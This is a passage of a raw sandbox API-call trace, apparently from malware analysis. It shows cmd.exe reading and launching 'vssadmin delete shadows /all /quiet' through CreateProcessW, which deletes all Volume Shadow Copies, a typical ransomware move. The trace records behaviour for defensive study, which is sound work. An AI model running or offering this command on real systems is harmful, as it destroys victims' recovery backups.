hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.179] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.179] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0280.179] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.179] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.179] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.179] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0280.179] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.179] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.179] ReadFile (in: hFile=0x248, lpBuffer=0x7ff790a79970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x76e48ff738, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesRead=0x76e48ff738*=0x1, lpOverlapped=0x0) returned 1 [0280.179] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=1, lpWideCharStr=0x7ff790a83c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0280.179] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.179] GetFileType (hFile=0x248) returned 0x3 [0280.179] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.179] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0280.179] _get_osfhandle (_FileHandle=1) returned 0x254 [0280.179] GetFileType (hFile=0x254) returned 0x3 [0280.179] _get_osfhandle (_FileHandle=1) returned 0x254 [0280.179] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff790a79970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0280.179] WriteFile (in: hFile=0x254, lpBuffer=0x7ff790a79970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x76e48ff6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff790a79970*, lpNumberOfBytesWritten=0x76e48ff6d8*=0x24, lpOverlapped=0x0) returned 1 [0280.179] GetProcessHeap () returned 0x1e06dd10000 [0280.179] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x4012) returned 0x1e06dd190c0 [0280.179] GetProcessHeap () returned 0x1e06dd10000 [0280.179] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd190c0) returned 1 [0280.180] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0280.180] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0280.180] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0280.180] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0280.180] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0280.180] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0280.180] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0280.180] GetProcessHeap () returned 0x1e06dd10000 [0280.180] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xb0) returned 0x1e06dd18420 [0280.180] GetProcessHeap () returned 0x1e06dd10000 [0280.180] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x22) returned 0x1e06dd18250 [0280.181] GetProcessHeap () returned 0x1e06dd10000 [0280.181] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x48) returned 0x1e06dd184e0 [0280.181] GetConsoleOutputCP () returned 0x4e3 [0280.259] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff790a7fbb0 | out: lpCPInfo=0x7ff790a7fbb0) returned 1 [0280.259] SetThreadUILanguage (LangId=0x0) returned 0x409 [0280.269] GetConsoleTitleW (in: lpConsoleTitle=0x76e48ff520, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0280.322] malloc (_Size=0xffce) returned 0x1e06de30840 [0280.322] ??_V@YAXPEAX@Z () returned 0x1e06de30840 [0280.322] malloc (_Size=0xffce) returned 0x1e06de40820 [0280.322] ??_V@YAXPEAX@Z () returned 0x1e06de40820 [0280.322] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0280.322] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0280.322] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0280.323] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0280.323] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0280.323] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0280.323] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0280.323] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0280.323] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0280.323] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0280.323] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0280.323] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0280.323] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0280.323] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0280.323] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0280.323] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0280.323] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0280.323] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0280.323] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0280.323] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0280.323] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0280.323] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0280.323] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0280.323] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0280.323] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0280.323] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0280.323] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0280.323] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0280.323] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0280.323] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0280.323] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0280.323] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0280.323] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0280.323] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0280.323] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0280.323] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0280.323] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0280.323] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0280.323] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0280.323] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0280.323] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0280.323] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0280.323] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0280.323] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0280.323] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0280.323] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0280.323] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0280.323] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0280.323] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0280.324] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0280.324] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0280.324] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0280.324] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0280.324] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0280.324] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0280.324] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0280.324] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0280.324] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0280.324] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0280.324] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0280.324] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0280.324] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0280.324] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0280.324] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0280.324] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0280.324] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0280.324] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0280.324] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0280.324] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0280.324] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0280.324] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0280.324] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0280.324] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0280.324] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0280.324] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0280.324] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0280.324] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0280.324] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0280.324] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0280.324] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0280.324] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0280.324] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0280.324] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0280.324] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0280.324] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0280.324] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0280.324] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0280.324] ??_V@YAXPEAX@Z () returned 0x1 [0280.324] GetProcessHeap () returned 0x1e06dd10000 [0280.324] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xffde) returned 0x1e06dd190c0 [0280.325] GetProcessHeap () returned 0x1e06dd10000 [0280.325] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x5a) returned 0x1e06dd16c30 [0280.325] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0280.325] malloc (_Size=0xffce) returned 0x1e06de40820 [0280.325] ??_V@YAXPEAX@Z () returned 0x1e06de40820 [0280.325] GetProcessHeap () returned 0x1e06dd10000 [0280.325] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x1ffac) returned 0x1e06dd2ac20 [0280.326] SetErrorMode (uMode=0x0) returned 0x0 [0280.326] SetErrorMode (uMode=0x1) returned 0x0 [0280.327] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1e06dd2ac30, lpFilePart=0x76e48feda0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x76e48feda0*="system32") returned 0x13 [0280.327] SetErrorMode (uMode=0x0) returned 0x1 [0280.327] GetProcessHeap () returned 0x1e06dd10000 [0280.327] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd2ac20, Size=0x4a) returned 0x1e06dd2ac20 [0280.327] GetProcessHeap () returned 0x1e06dd10000 [0280.327] RtlSizeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, MemoryPointer=0x1e06dd2ac20) returned 0x4a [0280.327] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0280.327] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0280.327] GetProcessHeap () returned 0x1e06dd10000 [0280.327] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x1b6) returned 0x1e06dd16ca0 [0280.327] GetProcessHeap () returned 0x1e06dd10000 [0280.327] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x35c) returned 0x1e06dd290b0 [0280.327] GetProcessHeap () returned 0x1e06dd10000 [0280.327] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd290b0, Size=0x1b8) returned 0x1e06dd290b0 [0280.327] GetProcessHeap () returned 0x1e06dd10000 [0280.327] RtlSizeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, MemoryPointer=0x1e06dd290b0) returned 0x1b8 [0280.327] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff790a7bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0280.327] GetProcessHeap () returned 0x1e06dd10000 [0280.327] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xe8) returned 0x1e06dd29280 [0280.327] GetProcessHeap () returned 0x1e06dd10000 [0280.327] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd29280, Size=0x7e) returned 0x1e06dd29280 [0280.327] GetProcessHeap () returned 0x1e06dd10000 [0280.327] RtlSizeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, MemoryPointer=0x1e06dd29280) returned 0x7e [0280.327] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0280.327] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0x76e48feb10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x76e48feb10) returned 0x1e06dd18530 [0280.328] FindClose (in: hFindFile=0x1e06dd18530 | out: hFindFile=0x1e06dd18530) returned 1 [0280.328] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0x76e48feb10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x76e48feb10) returned 0xffffffffffffffff [0280.328] GetLastError () returned 0x2 [0280.328] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0x76e48feb10, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x76e48feb10) returned 0x1e06dd18530 [0280.328] FindClose (in: hFindFile=0x1e06dd18530 | out: hFindFile=0x1e06dd18530) returned 1 [0280.328] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0280.328] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0280.328] ??_V@YAXPEAX@Z () returned 0x1 [0280.328] GetConsoleTitleW (in: lpConsoleTitle=0x76e48ff090, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0280.329] GetProcessHeap () returned 0x1e06dd10000 [0280.329] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x21c) returned 0x1e06dd115f0 [0280.329] GetConsoleTitleW (in: lpConsoleTitle=0x1e06dd11600, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0280.330] GetProcessHeap () returned 0x1e06dd10000 [0280.330] RtlReAllocateHeap (Heap=0x1e06dd10000, Flags=0x0, Ptr=0x1e06dd115f0, Size=0xa4) returned 0x1e06dd115f0 [0280.330] GetProcessHeap () returned 0x1e06dd10000 [0280.330] RtlSizeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, MemoryPointer=0x1e06dd115f0) returned 0xa4 [0280.330] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0280.333] GetProcessHeap () returned 0x1e06dd10000 [0280.333] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd115f0) returned 1 [0280.333] InitializeProcThreadAttributeList (in: lpAttributeList=0x76e48fefb0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x76e48feea0 | out: lpAttributeList=0x76e48fefb0, lpSize=0x76e48feea0) returned 1 [0280.333] UpdateProcThreadAttribute (in: lpAttributeList=0x76e48fefb0, dwFlags=0x0, Attribute=0x60001, lpValue=0x76e48fee8c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x76e48fefb0, lpPreviousValue=0x0) returned 1 [0280.333] GetStartupInfoW (in: lpStartupInfo=0x76e48fef40 | out: lpStartupInfo=0x76e48fef40*(cb=0x68, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) [0280.333] GetProcessHeap () returned 0x1e06dd10000 [0280.333] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x20) returned 0x1e06dd18530 [0280.333] _wcsnicmp (_String1="COPYCMD", _String2="=::=::\\", _MaxCount=0x7) returned 38 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="SESSION", _MaxCount=0x7) returned -16 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0280.334] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0280.335] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0280.335] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0280.335] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0280.335] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0280.335] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0280.335] GetProcessHeap () returned 0x1e06dd10000 [0280.335] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd18530) returned 1 [0280.335] GetProcessHeap () returned 0x1e06dd10000 [0280.335] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0x12) returned 0x1e06dd16e60 [0280.335] _get_osfhandle (_FileHandle=1) returned 0x254 [0280.335] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0280.335] _get_osfhandle (_FileHandle=0) returned 0x248 [0280.335] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0280.335] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\vssadmin.exe", lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x76e48feed0*(cb=0x70, lpReserved=0x0, lpDesktop="Winsta0\\Default", lpTitle="vssadmin delete shadows /all /quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x76e48feea8 | out: lpCommandLine="vssadmin delete shadows /all /quiet", lpProcessInformation=0x76e48feea8*(hProcess=0x94, hThread=0x98, dwProcessId=0xf24, dwThreadId=0xf28)) returned 1 [0280.899] CloseHandle (hObject=0x98) returned 1 [0280.899] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0280.899] GetProcessHeap () returned 0x1e06dd10000 [0280.899] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd2a0f0) returned 1 [0280.899] GetEnvironmentStringsW () returned 0x1e06dd295c0* [0280.899] GetProcessHeap () returned 0x1e06dd10000 [0280.899] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xb24) returned 0x1e06dd2a0f0 [0280.899] FreeEnvironmentStringsA (penv="=") returned 1 [0280.899] NtQueryInformationProcess (in: ProcessHandle=0x94, ProcessInformationClass=0x0, ProcessInformation=0x76e48fe3a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x76e48fe3a8, ReturnLength=0x0) returned 0x0 [0280.899] ReadProcessMemory (in: hProcess=0x94, lpBaseAddress=0x7a02b97000, lpBuffer=0x76e48fe3e0, nSize=0x7a0, lpNumberOfBytesRead=0x76e48fe3a0 | out: lpBuffer=0x76e48fe3e0*, lpNumberOfBytesRead=0x76e48fe3a0*=0x7a0) returned 1 [0280.899] WaitForSingleObject (hHandle=0x94, dwMilliseconds=0xffffffff) returned 0x0 [0285.630] GetExitCodeProcess (in: hProcess=0x94, lpExitCode=0x76e48fee28 | out: lpExitCode=0x76e48fee28*=0x2) returned 1 [0285.631] CloseHandle (hObject=0x94) returned 1 [0285.631] _vsnwprintf (in: _Buffer=0x76e48feff8, _BufferCount=0x13, _Format="%08X", _ArgList=0x76e48fee38 | out: _Buffer="00000002") returned 8 [0285.631] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000002") returned 1 [0285.631] GetProcessHeap () returned 0x1e06dd10000 [0285.631] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd2a0f0) returned 1 [0285.631] GetEnvironmentStringsW () returned 0x1e06dd295c0* [0285.631] GetProcessHeap () returned 0x1e06dd10000 [0285.631] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xb24) returned 0x1e06dd2a0f0 [0285.631] FreeEnvironmentStringsA (penv="=") returned 1 [0285.631] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0285.631] GetProcessHeap () returned 0x1e06dd10000 [0285.631] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd2a0f0) returned 1 [0285.631] GetEnvironmentStringsW () returned 0x1e06dd295c0* [0285.631] GetProcessHeap () returned 0x1e06dd10000 [0285.631] RtlAllocateHeap (HeapHandle=0x1e06dd10000, Flags=0x8, Size=0xb24) returned 0x1e06dd2a0f0 [0285.631] FreeEnvironmentStringsA (penv="=") returned 1 [0285.631] GetProcessHeap () returned 0x1e06dd10000 [0285.631] RtlFreeHeap (HeapHandle=0x1e06dd10000, Flags=0x0, BaseAddress=0x1e06dd16e60) returned 1 [0285.631] DeleteProcThreadAttributeList (in: lpAttributeList=0x76e48fefb0 | out: lpAttributeList=0x76e48fefb0) [0285.631] SetConsoleTitleW (lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0285.633] ??_V@YAXPEAX@Z () returned 0x1 [0285.633] _get_osfhandle (_FileHandle=1) returned 0x254 [0285.633] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0285.633] _get_osfhandle (_FileHandle=1) returned 0x254 [0285.633] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff790a7fc08 | out: lpMode=0x7ff790a7fc08) returned 0 [0285.633] _get_osfhandle (_FileHandle=0) returned 0x248 [0285.633] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff790a7fc0c | out: lpMode=0x7ff790a7fc0c) returned 0 [0285.633] GetConsoleOutputCP () returned 0x4e3 [0285.634] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff790a7fbb0 | out: lpCPInfo=0x7ff790a7fbb0) returned 1 [0285.634] SetThreadUILanguage (LangId=0x0) returned 